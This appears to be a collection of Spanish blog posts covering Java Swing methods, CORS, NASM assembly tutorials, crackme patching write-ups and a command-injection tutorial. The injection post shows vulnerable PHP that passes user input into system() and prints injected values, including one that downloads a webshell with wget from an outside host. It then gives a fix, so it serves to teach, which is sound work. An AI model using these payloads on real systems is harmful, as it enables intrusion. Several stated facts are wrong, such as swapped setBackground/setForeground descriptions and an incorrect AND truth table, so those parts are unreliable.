JDialog
JToolTip
Entre otros

Aqui les dejo la Jerarquía de clases real de los componentes Swing.

IMAGEN

Metodos que se pueden encontrar en los componentes son:

setFont: modifica la fuente del texto.
setHorizontalAlignment: modifica la alineacion del texto a lo largo del eje X.
getText(): obtiene el texto del componente.
setBackground: modifica el color del texto.
setForeground: modifica el color del fondo.

Esto es todo por ahora, en los proximos encuentros veremos como empezar a ordenar los componentes a nuestro gusto y los eventos.

Saludos. :)

Cross-Origin Resource Sharing

2012-09-14T07:30:00.002-07:00

Guia Cross Origin Resource Sharing

La generalización de AJAX ha supuesto un impulso gigantesco para el desarrollo de aplicaciones web cada vez más importantes. Avanzamos claramente hacia aplicaciones que integran, mediante AJAX, servicios o módulos desarrollados por terceros (Google, Yahoo, Facebook, etc). Sin embargo esta tendencia se ha topado con un problema importante: la política del mismo origen (Same Origin Policy), que impide que se puedan realizar peticiones HTTP desde JavaScript a un dominio diferente.
Además de diferentes hacks que se han ido desarrollando con el tiempopara rodear el problema, existe una especificación del W3C parasolucionarlo: Cross-Origin Resource Sharing (CORS), que podriamostraducir como “Compartición de Recursos entre Origenes”.

Política del Mismo Origen

Same Origin Policy es una importante medida de seguridad queimplementan actualmente todos los navegadores. Significa que una web sólo puede utilizar el objeto XMLHttpRequest parahacer peticiones HTTP AJAX al mismo domino desde el que se cargó lapágina original. Las peticiones a dominios diferentes serán descartadas.

Same Origin Policy impide comunicación AJAX entre origenes diferentes
¿Qué se entiende por un dominio diferente? además del evidente nombredel dominio, tampoco se permite comunicación si cambia el protocolo (porejemplo de http a https) o el puerto.

Origen: protocolo, dominio y puerto
Esto quiere decir que tampoco nos funcionará una petición desde unapágina cargada de http:www.miweb.com a https:www.miweb.com. Aunque en estecaso lo único que cambia es que utilizamos el protocolo seguro https,pero no es posible.
La necesidad de poder hacer estas peticiones como parte de las aplicaciones actuales ha llevado a buscar varias soluciones:

JSONP
Servidor Proxy
uso de iFrames
CORS

Las tres primeras son en realidad diferentes formas de ‘rodear’ el problema en vez de solucionarlo, sólo CORS trata de definir un estándar para crear una forma de comunicación por AJAX entre diferentes dominios.

¿En qué consiste el estándar Cross-Origin Resource Sharing?

El estándar propone incluir nuevas cabeceras HTTP en la comunicacióncliente-servidor para saber si se debe enviar (servidor) o mostrar(navegador) un recurso concreto, en función del origen de la petición.
Laidea es que mediante la información que se intercambia en las cabecerasHTTP el servidor y el navegador puedan decidir si esa petición, desdeese origen, puede permitirse.
EL navegador, cuando se va arealizar una petición asíncrona a un dominio diferente, debe incluirautomáticamente la cabecera ORIGIN en la petición:Quote:

Origin: http://www.sitio1.com

Esta cabecera indicará al servidor el dominio desde el que se está haciendo la petición (desde el que se recibió la página original). El servidor tendrá una lista de dominios permitidos y, si este está en la lista, devolverá el recurso solicitado incluyendo en la respuesta la nueva cabecera Access-Control-Allow-Origin:Quote:

Access-Control-Allow-Origin: http://www.sitio1.com

Con esta cabecera el servidor indica el origen al que le permite leer este contenido. El navegador siempre comprobará esta cabecera. Si no se recibe o no indica el dominio correcto, bloqueará la respuesta para no permitir acceso al DOM a ningún script procedente de un dominio ‘extraño’.
Este es el funcionamiento básico. El estándar define también otro tipo de petición más compleja, que requiere un intercambio previo de cabeceras para decidir si puede enviarse. Vamos a ver a continuación los dos casos en detalle.
Petición simple
Una petición se considera simple cuando:

Utilizamos el método GET
Utilizamos POST para enviar datos pero el tipo de contenido (Content-Type) es: application/x-www-form-urlencoded, multipart/form-data, o text/plain
No incluimos cabeceras HTTP personalizadas en la petición

En este caso el procedimiento es tan simple como el que hemos descrito antes.
Supongamosque vamos a hacer una petición GET mediante AJAX, utilizando el objetoXMLHttpRequest, desde una página cargada de www.sitio1.com. El destinode la petición es www.sitio2.com/utilidad.php
El navegadorincluirá automáticamente la nueva cabecera HTTP ORIGIN al detectar unintento de comunicación a un dominio diferente.
La petición HTTP, entre otras cabeceras, enviará:Quote:

GET /utilidad.php HTTP/1.1Host: www.sitio2.com...Origin: http://www.sitio1.com

La última linea es la que incluyen los navegadores que soportan el nuevoestándar, indicando al servidor que esta petición llega desde contenidocargado desde otro dominio (www.sitio1.com).
El servidor comprobará que el dominio www.sitio1.com está en la lista de aceptados y enviará la respuesta, por ejemplo:Quote:

HTTP/1.1 200 OK...Access-Control-Allow-Origin: http://www.sitio1.com[Data]

La cabecera Access-Control-Allow-Origin se incluye como parte de CORS, para indicar al navegador que esta información puede ser leido por el origen indicado. Si esta cabecera no aparece o el origen indicado no es el de la página cargada, el navegador bloqueará la respuesta.
Este tipo de peticiones simples son soportadas por los navegadores mayoritarios (Internet Explorer 8+, Firefox 3.5+, Safari 4+, and Chrome) y pueden ser suficientes para utilizar servicios públicos de terceros.
Petición con verificación previa (preflighted)
El estándar propone que para peticiones más complejas, que incluyancabeceras HTTP personalizadas, métodos HTTP diferentes de GET o POST ocon Content-Type diferente de los tres listados anteriormente (porejemplo application/xml), se haga una verificación previa.
Laidea es utilizar este método para todas las peticiones que puedanimplicar cambios en datos almacenados en el servidor. Este tipo depeticiones se hacen en dos pasos:

Determinar, utilizando la cabecera OPTIONS, si la petición se puede mandar

Enviar la petición

En la primera parte del proceso, el navegador informará al servidor,mediante cabeceras, de los métodos y cabeceras personalizadas que va autilizar en la petición para ver si el servidor las acepta. Tambiénindicará si pretende enviar información de autenticación o cookies, pero esto lo veremos en otro apartado.
Un ejemplo de petición podría ser este:Quote:

OPTIONS /utilidad.php HTTP/1.1Host: www.sitio2.com...Origin: http://www.sitio1.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: X-CUSTOM

OPTIONS no es en realidad una cabecera nueva, forma parte del estándarHTTP 1.1 y se utiliza para obtener más información sobre lasopciones que soporta el servidor.
Las tres últimas cabeceras síson particulares de CORS y, en este caso, indicarían que se pretendeenviar una petición desde el origen www.sitio1.com, utilizando el método POST eincluyendo la cabecera personalizada X-CUSTOM. El servidor responderáindicando las cabeceras y métodos que permite para este origen.
La respuesta podría ser algo así:Quote:

HTTP/1.1 200 OK...Access-Control-Allow-Origin: http://www.sitio1.comAccess-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: X-CUSTOMAccess-Control-Max-Age: 1500000Content-Type: text/plain

Viendo estas cabeceras el navegador sabe que puede enviar la petición y que el servidor la acepta. Access-Control-Max-Age sirve para indicar el tiempo, en segundos, durante el que esta misma petición puede hacerse directamente, sin el proceso de preflight.
A continuación se enviará la petición real, incluyendo la cabecera ORIGIN y el servidor enviará la respuesta incluyendo la cabecera Access-Control-Allow-Origin: http://www.sitio1.com como en una petición simple.

El nuevo XMLHttpRequest de nivel 2

Las peticiones AJAX se realizan a través del objeto XMLHttpRequest (XHR). Era necesario actualizarlo para permitir las comunicaciones inter-dominios en los casos y las condiciones que contempla el estándar Cross-Origin Resource Sharing. Estas nuevas capacidades, junto con algunas más, se definen en el estándar XMLHttpRequest Nivel 2.
Microsoft ha decidido, una vez más, no seguir los estándares e implementar la funcionalidad de CORS mediante un objeto diferente llamado XDomainRequest (XDR), en vez de aumentar las capacidades de XMLHttpRequest. Mas adelante veremos las limitaciones que esto supone.
Afortunadamente los métodos y propiedades que debemos utilizar son comunes por lo que sólo tenemos que decidir qué objeto instanciamos. El interface que podemos usar con cualquiera de los dos objetos es el siguiente:

abort() – detiene una petición en marcha
onerror – para asignar el callback que se dispara en caso de error
onload – para asignar el callback que se dispara en caso de éxito
open() – establece el método y URL para la petición HTTP
responseText – propiedad en la que se almacenan los datos de la respuesta
send() – Para enviar la petición

Un ejemplo sencillo de cómo podriamos usar el objeto XHR en una petición a un dominio diferente sería:Quote:

var xhrObject = new XMLHttpRequest();xhrObject.open("get", "http://www.sitio2.com/utilidad.php");xhrObject.onload = function(){alert(xhrObjet.responseText)};xhrObject.send(null);

El objeto XHR se crea normalmente, y se utiliza open() y send() igual que para peticiones normales. La diferencia es que el evento que se dispara cuando la petición se ha recibido con éxito es load. Por eso definimos nuestra función callback para manejar el resultado en xhrObject.onload. Para una llamada AJAX normal, en el dominio propio, definiriamos el callback en xhrObject.onreadystatechange
En este ejemplo, cuando la petición se completa, mostramos los datos que hemos recibido en xhrObjet.responseText con un alert().
El objeto XDomainRequest del IE se utilizaría exactamente igual:Quote:

var xdrObject = new XDomainRequest();xdrObject.open("get", "http://www.sitio2.com/utilidad.php");xdrObject.onload = function(){alert(xdrObjet.responseText)};xdrObject.send(null);

En un caso real no es necesario duplicar el código, símplemente tenemos que detectar qué objeto debemos crear.
Para saber si el navegador en el que estamos soporta el nuevo objeto XHR, con las capacidades CORS, comprobaremos si el objeto tiene definida la propiedad withCredentials, exclusiva del XHR nivel 2 y que más adelante veremos cómo se utiliza. Si el resultado es negativo debemos preguntar si existe el objeto XDomainRequest para saber si estamos en alguna versión del IE con soporte CORS. Si el resultado también es negativo, no tenemos soporte para peticiones AJAX inter-dominios.
El ejemplo anterior, con un código único sería:Quote:

/Función para encapsular la detección del objeto que tenemos que usar para AJAX inter-dominios, según el navegador en el que estemos.function createCorsObject(){/Inicialmente creamos XHRvar xhrObject = new XMLHttpRequest();/comprobamos si XHR tiene capacidades CORS o es el antiguoif ("withCredentials" in xhrObject){return xhrObject;}/si es el antiguo, comprobamos si el navegador soporta el objeto XDRelse if (typeof XDomainRequest != "undefined"){xhrObject = new XDomainRequest();} else {xhrObject = null;}return xhrObject;}/obtenemos un objeto para AJAX cross-dominiovar xhrObject = createCorsObject();/si tenemos un objeto válido...if (xhrObject){/definimos los parámetros de la petición HTTPxhrObject.open("get", "http://www.sitio2.com/utilidad.php");/definimos un callback para tratar los datos que recibamosxhrObject.onload = function(){alert(xhrObjet.responseText)};/definimos un callback para tratar el caso de errorxhrObject.onerror = function(){/ código para caso de error};/Enviamos la peticiónxhrObject.send(null);}

Creo que los comentarios del código son suficiente para explicarlo. En este caso la novedad es que hemos definido también una función para tratar errores.

Peticiones con cookies o autentificación

Las cookies o la información de autentificación (certificados SSL ocabeceras HTTP de autenticación) no se envía nunca por defecto para estetipo de comunicación. Existe una propiedad del objeto XHR nivel 2 (elque implementan los navegadores que soportan CORS) que sirve paraindicar que queremos enviar y recibir este tipo de información:Quote:

XHR.withCredentials = true;

Si el servidor permite el envío de este tipo de información para peticiones desde este origen lo indicará en la respuesta incluyendo una cabecera HTTP especial:Quote:

Access-Control-Allow-Origin:http://www.sitio1.comAccess-Control-Allow-Credentials: true

Para estos casos, la cabecera Access-Control-Allow-Origin debe indicar el origen exacto, no puede indicarse un origen genérico mediante ‘*’.
El Internet Explorer 8 no soporta esta funcionalidad. El objeto XDR, propietario del IE, ni siquiera incluye la propiedad withCredentials. Nunca se enviarán cookies ni información de autenticación para este tipo de comunicación.

Las limitaciones de XDomainRequest (IE)

El Internet Explorer sólamente implementa una parte del estándar Cross-Origin Resource Sharing. Puede utilizarse para peticiones sencillas (obtener datos RSS o widgets para presentar en nuestra página) pero para comunicaciones complejas presenta las siguientes limitaciones importantes:

En ningún caso permite comunicación entre HTTPS y HTTP o viceversa
En ningún caso permite enviar cookies o información de autentificación
No permite peticiones con verificación previa (preflighted)
Sólo soporta Content-Type: text/plain
No permite añadir cabeceras HTTP personalizadas

Puedes obtener información más detallada en los documentos: XDomainRequest – Restrictions, Limitations and Workarounds y Client-side Cross-domain Security. En este último,Microsoft intenta explicar las razones por las que han elegido esta implementación y estas limitaciones.

¿Que seguridad aporta CORS?

En principio puede parecer que CORS no aporta mucha seguridad. Se basaen una cabecera ORIGIN que el servidor comprueba y en otras cabeceras derespuesta que el comprueba navegador. Enviar una cabecera ORIGIN falsaes algo trivial, al alcance de cualquiera y utilizar un navegadormodificado que no bloquee las respuestas, también.
Sin embargo,el propósito de este estándar, es proteger al usuario que está navegandoen su ordenador, con su navegador, de scripts maliciosos que intentaránacceder a páginas web sin que lo sepa, suplantando su identidad.Supongamos un caso con los siguientes actores:

Inocencio, el usuario que navega tranquilamente por internet desde su ordenador
Malone, un hacker con su propio sitio web de descargas www.pelisgratis.es
La tienda online www.tienda.com en la que Inocencio tiene una cuenta

Inocencio visita la web www.pelisgratis.es que le ha recomendado unamigo. La página inicial de ‘Pelis Gratis’ presenta el listado depelículas e incluye también un script en JavaScript que, sin queInocencio lo sepa, intenta utilizar AJAX para conectarse a la conocidatienda online www.tienda.com.
Si el hacker tiene suerte y elusuario ha abierto sesión en la tienda recientemente, aún tendrá lacookie de sesión válida y el servidor le reconoce como Inocencio. Malonepuede utilizar su script para realizar cualquier cosa o robar cualquierinformación de la cuenta de Inocencio. Esto es lo que trata deimpedirse mediante la Política del Origen Común y el estándarCompartición de Recursos entre Origenes
El caso del hacker usando un navegador modificado no presenta los mismos problemas porqueno tendría la cookie del usuario para suplantarle. El acceso seprotegería mediante la comprobación de credenciales (usuario/password).
La modificación de cabeceras en el trayecto de la información, entre el usuario y el destino, puede protegerse utilizando HTTPS.

Fuente: Quimeraazul.com

Introducción a Netwide Assembler, Segunda parte

2012-08-02T13:44:00.001-07:00

1. Estructuras de control de proceso

Qué son
Ejemplo

2. Subprocesos

La pila
Argumentos de pila
Llamada y retorno

3. Sintaxis NASM

Funciones globales
Carga de funciones externas
Secciones
Etiquetas
Esqueleto de un programa

4. NASM y GCC

Ejemplos
Ejercicio final

Estructuras de control de proceso

Qué son:
Las estructuras de control son procesos a alto nivel que realiza el compilador, con las que no contamos en ASM (A bajo nivel).

Estas estructuras pueden ser bucles (While, For, ...), comparaciones (if’s) y de ramificación.

Ejemplo:
Ejemplo de estos tres últimos tipos, en un comparador de cadenas:

global main
   
  extern printf
   
  segment .data
  smal  DB         `Diferentes\0`
  sbien DB         `Iguales\0`
  Cadena1         DB         `aaaa\0`
  Cadena2         DB         `aaaa\0`
   
  segment .bss
  len1  resb         12
  len2  resb         12
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
           MOV         [ESP],dword Cadena1
           CALL         longitud
           MOV         dword[len1],EAX
           MOV         [ESP],dword Cadena2
           CALL         longitud
           MOV         dword[len2],EAX
           MOV         EAX,dword[len1]
           MOV         ECX,dword[len2]
           CMP         EAX,ECX
           JNE         Mal
           XOR         ECX,ECX
           MOV         EDX,dword[len1]
  Buclecmp:
           CMP         EDX,ECX
           JE         Bien
           MOV         AL,byte[Cadena1+ecx]
           MOV         BL,byte[Cadena2+ecx]
           CMP         AL,BL
           JNE         Mal
           INC         ECX
           JMP         Buclecmp
  Mal:
           PUSH      smal
           CALL       printf
           LEAVE
           RET
  Bien:
           PUSH      sbien
           CALL       printf
           LEAVE
           RET
  longitud:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           XOR         ECX,ECX
  BUCLE:
           LEA         EAX,[EBP+8]
           MOV         EAX,DWORD [EAX]
           MOV         BL,byte[EAX+ECX]
           CMP         BL,0
           JE         Retornar
           INC         ECX
           JMP         BUCLE
  Retornar:
           MOV         EAX,ECX
           LEAVE
           RET

Subprocesos

Estamos por conocer más de cerca las instrucciones PUSH y POP.

La pila es una lista de memoria en la que podemos manejarnos. Para que no se creen confusiones, se trata del Stack. Cuando realizamos PUSH estamos cargando datos a la pila, mientras que con POP lo descargamos. PUSH empuja un dato, mientras que POP se encarga del último (L.I.F.O)

La instrucción PHSA empuja el contenido de los registros a la pila.

Al realizar una llamada a un subproceso (Función) mediante CALL, éstos deben estar de acuerdo en el número y valor de parámetros que vamos a precisar (Argumentos).

Los argumentos se almacenan en EBP+8, EBP+0xC y sucesivamente. Más allá de los parámetros recividos estaríamos tocando cosas que no deberíamos, y ya podrías imaginar el resultado.

Un ejemplo de esto lo podemos ver en el ejemplo anterior, en la llamada al subproceso longitud (Función longitud)

         MOV         [ESP],dword Cadena1 ;Cargar argumento, PUSH
         CALL         longitud

[etc]

longitud:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           XOR         ECX,ECX
  BUCLE:
           LEA         EAX,[EBP+8]         ;Obtenemos direccion
           MOV         EAX,DWORD [EAX] ;Leemos puntero
           MOV         BL,byte[EAX+ECX]
           CMP         BL,0
           JE         Retornar
           INC         ECX
           JMP         BUCLE
  Retornar:
           MOV         EAX,ECX
           LEAVE
           RET

El valor retornado siempre es almacenado en EAX. Realmente depende del programador, pero por regla general es así

Sintaxis NASM

Declaraciones globales

Funciones declaradas como globales, por ejemplo al usar C y NASM

Global main         ;Obligatorio
  Global funcion

Carga de funciones externas

Cargar funciones externas.

Extern printf
  Extern scanf
  Extern funcionpropia

Secciones

Son muchas, pero aquí van las más comunes.

.BSS – Datos no inicializados (Variables)
  .DATA – Datos inicializados (Constantes)
  .TEXT – Texto
.CODE – Código

Etiquetas

Son labels que usamos para determinar el salto hacia otra línea de código (o dirección). Recuerda a GOTO, todo un clásico

 

Bucle:
           CMP         EAX,0
           JNE         Bucle
           JMP         Fin
  Fin:
           RET

Esqueleto de un programa

global main
   
  extern Funcionacargar
   
  segment .data
  constante         DB         `Valor\0`
   
  segment .bss
  variable         resb         1024         ;Longitud
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           LEAVE
           RET

NASM y GCC, Ejemplo de uso

Dejo el análisis a vosotros para comprobar lo aprendido hasta ahora... Se que me quieres
Subprocesos externos:

b.asm:

global main
   
  extern longitud
  extern printf
   
  segment .data
  ftoi   DB         `%i caracteres\0`
  Cadena         DB         `aaaaaaa\0`
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
   
           MOV         [ESP],dword Cadena
           CALL         longitud
           PUSH      EAX
           PUSH      ftoi
           CALL       printf
           LEAVE
           RET

b.c:

#include <stdio.h>
   
  int longitud(char *s1)
  {
      return strlen(s1);
  }

Compilación:

nasm -f win32 -Wall --prefix _ b.asm
gcc -o b b.obj b.c

Ejercicio final:
Realizar una calculadora utilizando GCC y NASM, utilizando estructuras de control, subprocesos, retornos y la pila

Datos finales: Esperen la siguiente versión. Puntos flotantes, estructuras, matrices, ...

Agradecimientos: Jep, Swash, 11Sep, Shadowbyte, Mr.Blood, ...

Creado por: Yo-Mismo (Para oversec.org)

Las dudas las resuelvo por privado, no en el hilo (Mejor abrir tema nuevo.)

Un saludo!

SelfKeygen Crackme 58DD2D69 C.L.S.

2012-07-27T06:26:00.001-07:00

Este es un crackme que descargué de la lista de CracksLatinos, 12/2011.

Descripción:

Citar

This crackme is a simple algorithm.It's written in visual c++ 6.0 with mfc.
Level 1/10

Herramientas:
-OllyDBG

Donde lo descargo
-Aquí

Puesta a punto

Arrancamos con Olly, y buscamos entre las strings:

Vamos al salto al chico bueno y vemos lo siguiente:

Vemos que tenemos 4 strings, una de longitud mínima, serial olvidado, el chico bueno y chico malo.

Nos fijamos que antes pasa por una comparación. Colocamos un BP en dicho CALL, y vemos que se trae entre manos:

Vemos que ahí tenemos el serial falso y verdadero comparándose.

Afilando los dientes

Básicamete lo que haremos, es decirle al programa que de no cumplirse, realice un JMP a una zona vacia del ejecutable, con permisos, donde obtendrá el serial verdadero y lo mostrará.

Creamos un salto a una zona vacía

En ella cargamos los valores, y posteriormente hacemos un salto al CALL.

Vemos que funciona.

Nos vemos!

Guardamos los cambios a otro ejecutable, y probamos. Primero un serial falso y después el verdadero que mostró:

OverSec.org

[1/10] CrackMe Básico C, #1

2012-07-27T06:23:00.003-07:00

Descargar

Aclaración: Keygen con todas las claves posibles.

OverSec.org

Simple Crackme C #2

2012-07-27T06:21:00.001-07:00

Reglas:
- Keygen con todas las combinaciones posibles
- Tutorial
- Comprender algoritmo
- No parchear ni brutalizar

Otros:
- Plataforma: WIN32 x84
- Lenguaje: C & ASM
- Nivel de dificultad: Sigue siendo 1/10

Simple Crackme C #2

OverSec.org

[1/10] CrackMe Básico C #3

2012-07-27T06:20:00.001-07:00

Descargar

OverSec.org

Arbitary Code Execution / RCE

2012-07-27T04:01:00.000-07:00

Explicación

Se trata de ejecutar código arbitrario a nivel S.O.

Supongamos que tenemos una página Web, con algún software a nivel S.O. para alguna tarea, y le pasamos los parámetros adecuados por POST para hacer la llamada via system... Podemos manipular la instrucción con dos clicks

Ahora razonemos:

<?php
$val = "bin.exe $_POST["param"]";system($val);?>

Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.

Código vulnerable

<?phpif(!isset($_POST["IP"]))
{ ?>
 <form action="ping.php" method="POST">
 IP: <input name="IP"><br>
 <input type="submit" value="Ping">
 </form>
 <?php} else { system("ping ".$_POST["IP"]);
}?>

Primer fallo, Web. No limpiar ni revisar la IP, junto a una función tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)

Segundo fallo, la forma del S.O. de concatenar instrucciones.

Ataque

Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.

Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:
Com1 | Com2 | Com3 | ...

>>>>>>>>echo xD > xd.txt | ping localhost

Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms

Ping statistics for ::1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

>>>>>>>>type xd.txt
xD

Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?

Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un nuevo comando...

IP: 127.0.0.1 | ipconfig

Como resultado, podemos ver la configuración IP del host.

Peligros

Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:

Webshell:

IP: 127.0.0.1 | wget http://shell.com/shell.php

Otros xD:

IP: 127.0.0.1 | nmap -sP 192.168.*.*

Solución

La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.

Como dijo RemoteExecution (Adivinen de donde viene el nick): "Una vulnerabilidad sólo es tan limitada como tu quieras

OverSec.org

Saludos!

Manual. Intruducción a NASM (Netwide Assembler)

2012-07-14T12:40:00.000-07:00

Este es un manual que comencé a escribir hace tiempo, acerca de Netwide Assembler.

Introducción a Netwide Assembler (NASM)
Actualmente, es muy difícil encontrar programas escritos completamente en Assembler, sin embargo, son utilizados por su portabilidad y facilidad de uso, además, al estar creado en un lenguaje de programación de nivel bajo, no tiene empaquetado ni tanta basura que puede contener otro programa creado, por ejemplo, en VB, lo que puede generar un ejecutable de apenas 2'5Kb, cuando el mismo programa, en VB, sería de 21Kb. Ya veremos más adelante estos datos.

¿Por qué necesitamos aprender Assembler?

-> Genera un código más rápido y pequeño que otro programa escrito en otro lenguaje de alto nivel
-> Para ciertas plataformas, los lenguajes de alta programación son ineficientes, debido a restricciones del hardware (Ej.: Sistemas embebidos)
-> Permite acceder al Hardware directamente (Ej.: Sistemas operativos)
-> Conocerás como funciona completamente un PC internamente

Registros

Registros de datos EAX EBX ECX EDX
Punteros de pila ESP EBP
Registros de índice EDI ESI
Registros de segmento FS CS DS ES SS
EAX: También llamado acumulador
EBX: Puede ser usado como registro base de direccionamiento (por ejemplo, para apuntar a direcciones de memoria con el)
ECX: Usado como contador (ciclos, rotaciones...)
EDX: Registro de datos, a veces usado con EAX en instrucciones especiales.
Los sistemas de 32 bits, están construidos por registros de 16 bits, y estos a su vez, están divididos en subsegmentos de 8 bits, que a su vez, están formados por dos códigos hexadecimales, de 4 bits cada uno (Cada bit es un impulso eléctrico, positivo (1) o negativo (2)). La siguiente tabla muestra un ejemplo:

-No hay forma de acceder a los 16 bits superiores.

Estas direcciones requieren un número de 20 bits, el cual, no cabrá en un registro de 16 bits. Desde la llegada de Intel, se usaban 2 valores de 16 bits (32 bit) para determinar una dirección. Los valores del seleccionador deben estar en registros de segmento, y el segundo valor de 16 bits, es el desplazamiento (Offset). Se puede obtener la dirección mediante la siguiente formula:
16 * Seleccionador + Desplazamiento
Una curiosidad es la forma en la que la máquina obtiene un número hexadecimal a partir de uno decimal. He aquí la fórmula:
Decimal: 31278
31278:16 = 1954 resto= 14 (E)
1954:16 = 122 resto= 2 (2)
122:16 = 7 resto= 10 (A)
7:16 = 0 resto= 7 (7)
7A2E (Hexadecimal)
Como vemos, realiza algo similar a una conversión decimal binaria, pero usando 16 para obtener un número valido para continuar dividiendo, y el resto, el valor hexadecimal. Pueden ponerlo en práctica.

Operadores lógicos
Hay de 4 tipos, y se representan como en la siguiente tabla:
And: Vale 1 si ambos bites están a 1
1 | 1 = 1
1 | 0 = 0
0 | 0 = 0
0 | 1 = 1
Or: Vale 1 si algún bit vale 1
1 | 1 = 1
1 | 0 = 1
0 | 0 = 0
0 | 1 = 1
Xor: Vale 1 si los bits son diferentes, y 0 si no lo son
1 | 1 = 0
1 | 0 =1
0 | 0 =0
0 | 1 =1

Not: Invierte el valor del bit
Not 1 = 0
Not 0 = 1

Flags
Son registros especiales, en donde se guardan los resultados de la última operación matemática, o de comprobación. No se almacenan resultados numéricos, sino su estado.
Aunque es un registro de 16 bits, sólo algunos de ellos tienen significado. Los otros adquieren valores indeterminados, y se dice que son bits reservados; un programa no debe tocarlos, pues aunque un equipo dado puede que no los use, otros micros podrían manipularlos internamente, con resultados impredecibles.
* CF Carry Flag o indicador de acarreo. Normalmente indica si "nos llevamos algo" despues de haber sumado o restado.
* OF Overflow Flag o indicador de desbordamiento. Si después de una operación el resultado no cabe en el tamaño del registro, se pone a 1.
* ZF Zero Flag o indicador de cero. Si el resultado da 0 se pone a 1.
* SF Sign Flag o indicador de signo. Si el resultado es negativo se pone a 1.
* PF Parity Flag o indicador de paridad. Con algunas operaciones lógicas o aritméticas se pone a 1 si el resultado es par.
* AF Auxiliary Flag o indicador auxiliar. Se usa para operaciones BCD (si es que éstas valen para algo)
* DF Direction Flag o indicador de dirección. Se usa en operaciones llamadas "de cadena", indicando el sentido (ascendente o descendente) en que se recorre la memoria. (Este flag es más divertido de lo que parece.)
* IF Interrupt Flag o indicador de interrupciones. Cuando se pone a 1 se permiten las interrupciones, a 0 se ignoran; se dice que se enmascaran. Hay no obstante algunas muy especiales que pasan del flag; por ejemplo, si arrancas (físicamente, me refiero; coger con la mano y zás!) una tarjeta de RAM con el trasto encendido, la interrupción que salta -alerta roja, inmersión, inmersión, auuuuu- pasa de este flag olímpicamente (algo así no se puede pasar por alto bajo ninguna circunstancia).
* TF Trap Flag o indicador de trampa (para ejecución paso a paso, como en los depuradores; podemos olvidarnos de él)

Tipos de datos

Lo que hace diferente a Assembler frente a otros lenguajes, es que tu mismo puedes indicar el tamaño reservado a una variable. Existen 4 tipos, dependiendo del tamaño a ocupar:
-> BYTE - Reserva 8 bit - 2 ^ 8 = 256
-> WORD - Reserva 16 bit - 2 ^ 16 = 65536
-> DWORD - Double Word, reserva 32 bit - 2 ^ 32 = 4294967296
-> QWORD - Quad Word, reserva 64 bit - 2 ^ 64 = 18446744073709551616 (Únicamente usado en plataformas X64)

Juegos de instrucciones

Bueno, esta lista la obtuve de Esta URL, ya que se trata de una gran lista, dependiendo del sistema que utilices. Esta se basa en arquitecturas 80X86:
acum uno de los acumuladores: AX o AL.
reg cualquiera de los registros
segreg uno de los registros de segmento
r/m uno de los operandos generales: registro, memoria, basado, indexado o basado-indexado
inmed constante o símbolo de 8 o 16 bits
mem un operando de memoria: símbolo, etiqueta, variable.
etiqueta etiqueta de instrucciones.
src fuente en operaciones de cadena
dest destino en operaciones de cadena.

8086/8088

AAA Ajuste ASCII para adición.
AAD Ajuste ASCII para división.
AAM Ajuste ASCII para multiplicación.
AAS Ajuste ASCII para división.
ADC acum, inmed Suma con acarreo.
r/m,inmed
r/m, reg
reg, r/m
ADD acum,inmed Suma.
r/m,inmed
r/m, reg
reg, r/m
AND acum,inmed Operación AND a nivel bit.
r/m,inmed
r/m, reg
reg, r/m
CALL etiqueta Llamado.
r/m
CBW Convierte byte apalabra.
CLC Limpia bandera de acarreo.
CLD Limpia bandera de dirección.
CLI Limpia bandera de interrupción.
CMC Complementa bandera de acarreo.
CMP acum,inmed Comparación
r/m,inmed
r/m, reg
reg, r/m
CMPS src,dest Comparación de cadenas.
CMPSB Compara cadenas byte por byte.
CMPSW Compara cadenas palabra por palabra.
CWD Convierte palabra a palabra doble.
DAA Ajuste decimal para adición.
DAS Ajuste decimal para substracción.
DEC r/m Decremento.
reg
DIV r/m División.
ESC inmed, r/m Escape con 6 bits.
HLT Alto.
IDIV r/m División entera.
IMUL r/m Mutiplicación entera.
IN accum,inmed Entrada desde puerto.
acum, DX
INC r/m Incremento.
reg
INT3 Interrupción3 codificada como un byte.
INT inmed Interrupción0-255.
INTO Interrupción en overflow.
IRET Retorno de interrupción.
JMP etiqueta Brinco incondicional.
LAHF Carga AH con las banderas.
LDS r/m Carga DS.
LEA r/m Carga la dirección.
LES r/m Carga ES.
LOCK Cierra bus.
LODS src Carga cadena.
LODSB Carga byte de cadena en AL.
LODSW Carga palabra de la cadena en AX.
LOOP etiqueta Ciclo.
LOOPE etiqueta Ciclo mientras igual.
LOOPNE etiqueta Ciclo mientras no igual.
LOOPNZ etiqueta Ciclo mientras no cero.
LOOPZ etiqueta Ciclo mientras cero.
MOV acum,mem Mueve un valor del segundo al primer operando
r/m,inmed
mem, acum
r/m, reg
r/m,segreg
reg, inmed
reg,r/m
segreg,r/m
MOVS dest, src Mueve cadena.
MOVSB Mueve cadena byte por byte.
MOVSW Mueve cadena palabra por palabra.
MUL r/m Multiplicación.
NEG r/m Niega(complemento a 2).
NOP Operación ociosa.
NOT r/m Invierte valores de bits (complemento a 1).
OR acum, inmed Operación OR a nivel de bit.
r/m,inmed
r/m, reg
reg,r/m
OUTDX, accum Salida por el puerto dado por el primer operando.
inmed, acum (inmediato de 8 bits)
POP r/m Recupera valor de la pila.
reg
segreg
POPF Recupera banderas.
PUSH r/m Guarda valor en la pila.
reg
segreg
